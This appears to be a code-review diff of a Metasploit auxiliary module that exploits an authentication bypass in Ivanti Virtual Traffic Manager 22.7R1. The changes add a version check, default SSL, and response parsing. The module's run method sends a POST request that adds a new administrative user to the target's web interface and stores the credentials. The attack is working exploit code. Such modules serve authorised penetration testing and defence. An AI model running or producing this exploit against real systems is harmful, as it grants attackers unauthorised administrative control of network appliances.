1
1
class MetasploitModule < Msf ::Auxiliary
2
2
include Msf ::Exploit ::Remote ::HttpClient
3
+ prepend Msf ::Exploit ::Remote ::AutoCheck
3
4
4
5
def initialize ( info = { } )
5
6
super (
6
7
update_info (
7
8
info ,
8
9
'Name' => 'Ivanti Virtual Traffic Manager Authentication Bypass' ,
9
10
'Description' => %q{
10
- This module exploits an access control issue in Ivanti Virtual Traffic Manager <= 22.7R2 , by adding a new
11
+ This module exploits an access control issue in Ivanti Virtual Traffic Manager 22.7R1 , by adding a new
11
12
administrative user to the web interface of the application.
12
13
} ,
13
14
'Author' => [
14
15
'Michael Heinzl' , # MSF Module
15
16
'ohnoisploited' # Discovery and PoC
16
17
] ,
17
18
'References' => [
18
- [ 'URL ' , 'https://packetstormsecurity.com/files/ 179906' ]
19
+ [ 'PACKETSTORM ' , '179906' ]
19
20
] ,
20
21
'DisclosureDate' => '2024-08-05' ,
21
22
'DefaultOptions' => {
22
- 'RPORT' => 9090
23
+ 'RPORT' => 9090 ,
24
+ 'SSL' => 'True'
23
25
} ,
24
26
'License' => MSF_LICENSE ,
25
27
'Notes' => {
@@ -37,6 +39,29 @@ def initialize(info = {})
37
39
] )
38
40
end
39
41
42
+ def check
43
+ res = send_request_cgi (
44
+ {
45
+ 'method' => 'GET' ,
46
+ 'uri' => normalize_uri ( target_uri , 'apps' , 'zxtm' , 'login.cgi' )
47
+ }
48
+ )
49
+
50
+ return Exploit ::CheckCode ::Unknown ( "#{ peer } - Could not connect to web service - no response" ) if res . nil?
51
+
52
+ body = res . body
53
+ version_regex = /StingrayVersion\. Set\( \s *'([^']+)'\s *,/
54
+ match = body . match ( version_regex )
55
+ if match
56
+ version = match [ 1 ]
57
+ return Exploit ::CheckCode ::Appears ( "Version: #{ version } " ) if version <= Rex ::Version . new ( '22.7R1' )
58
+ else
59
+ return Exploit ::CheckCode ::Safe
60
+ end
61
+
62
+ Exploit ::CheckCode ::Safe
63
+ end
64
+
40
65
def run
41
66
res = send_request_cgi (
42
67
'method' => 'POST' ,
@@ -48,16 +73,27 @@ def run
48
73
'newusername' => datastore [ 'NEW_USERNAME' ] ,
49
74
'password1' => datastore [ 'NEW_PASSWORD' ] ,
50
75
'password2' => datastore [ 'NEW_PASSWORD' ]
51
-
52
76
}
53
77
)
54
78
55
79
unless res
56
80
fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
57
81
end
58
82
59
- print_good ( "New admin user was successfully injected:\n \t #{ datastore [ 'NEW_USERNAME' ] } :#{ datastore [ 'NEW_PASSWORD' ] } " )
60
- print_good ( "Login at: http://#{ datastore [ 'RHOSTS' ] } :#{ datastore [ 'RPORT' ] } #{ datastore [ 'TARGETURI' ] } workflow/jsp/logon.jsp" )
61
- end
83
+ html = res . get_html_document
84
+ title_tag = html . at_css ( 'title' )
62
85
86
+ if title_tag
87
+ title_text = title_tag . text . strip
88
+ if title_text == '2'
89
+ store_valid_credential ( user : datastore [ 'NEW_USERNAME' ] , private : datastore [ 'NEW_PASSWORD' ] , proof : html )
90
+ print_good ( "New admin user was successfully added:\n \t #{ datastore [ 'NEW_USERNAME' ] } :#{ datastore [ 'NEW_PASSWORD' ] } " )
91
+ print_good ( "Login at: https://#{ datastore [ 'RHOSTS' ] } :#{ datastore [ 'RPORT' ] } #{ datastore [ 'TARGETURI' ] } apps/zxtm/login.cgi" )
92
+ else
93
+ fail_with ( Failure ::UnexpectedReply , 'Unexpected string found inside the title tag: ' + title_text )
94
+ end
95
+ else
96
+ fail_with ( Failure ::UnexpectedReply , 'title tag not found.' )
97
+ end
98
+ end
63
99
end
0 commit comments